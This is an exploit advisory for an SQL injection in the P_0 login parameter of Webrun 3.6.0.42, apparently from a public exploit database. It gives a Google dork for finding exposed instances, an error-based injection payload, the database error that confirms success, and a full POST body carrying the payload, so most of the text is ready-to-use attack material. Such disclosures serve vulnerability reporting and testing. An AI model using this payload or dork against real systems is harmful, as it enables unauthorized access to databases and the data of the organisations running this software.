Webrun 3.6.0.42 SQL Injection

`# Exploit Title: Webrun 3.6.0.42 - 'P_0' SQL Injection  
# Google Dork: intitle:"Webrun 3.6.0.42"  
# Date: 23/11/2021  
# Exploit Author: Vinicius Alves  
# Vendor Homepage: https://softwell.com.br/  
# Version: 3.6.0.42  
# Tested on: Kali Linux 2021.3  
  
=-=-=-= Description =-=-=-=  
  
  
Webrun version 3.6.0.42 is vulnerable to SQL Injection, applied to the P_0  
parameter used to set the username during the login process.  
  
  
=-=-=-= Exploiting =-=-=-=  
  
  
In the post request, change the P_0 value to the following payload:  
121')+AND+5110%3dCAST((CHR(113)||CHR(118)||CHR(118)||CHR(120)||CHR(113))||(SELECT+(CASE+WHEN+(5110%3d5110)+THEN+1+ELSE+0+END))%3a%3atext||(CHR(113)||CHR(98)||CHR(122)||CHR(98)||CHR(113))+AS+NUMERIC)+AND+('AYkd'%3d'AYkd  
  
  
You will see some information like below:  
  
  
interactionError('ERRO: sintaxe de entrada é inválida para tipo numeric:  
\"qvvxq1qbzbq\"', null, null, null, '<b>  
  
  
=-=-=-= POC =-=-=-=  
  
  
If the return has the value 'qvvxq1qbzbq', you will be able to successfully  
exploit this.  
  
  
See an example of the complete POST parameter:  
  
  
action=executeRule&pType=2&ruleName=GES_FLX_Gerar+Token+Dashboard&sys=GES&formID=8265&parentRID=-1&P_0=121')+AND+5110%3dCAST((CHR(113)||CHR(118)||CHR(118)||CHR(120)||CHR(113))||(SELECT+(CASE+WHEN+(5110%3d5110)+THEN+1+ELSE+0+END))%3a%3atext||(CHR(113)||CHR(98)||CHR(122)||CHR(98)||CHR(113))+AS+NUMERIC)+AND+('AYkd'%3d'AYkd&P_1=pwd  
  
`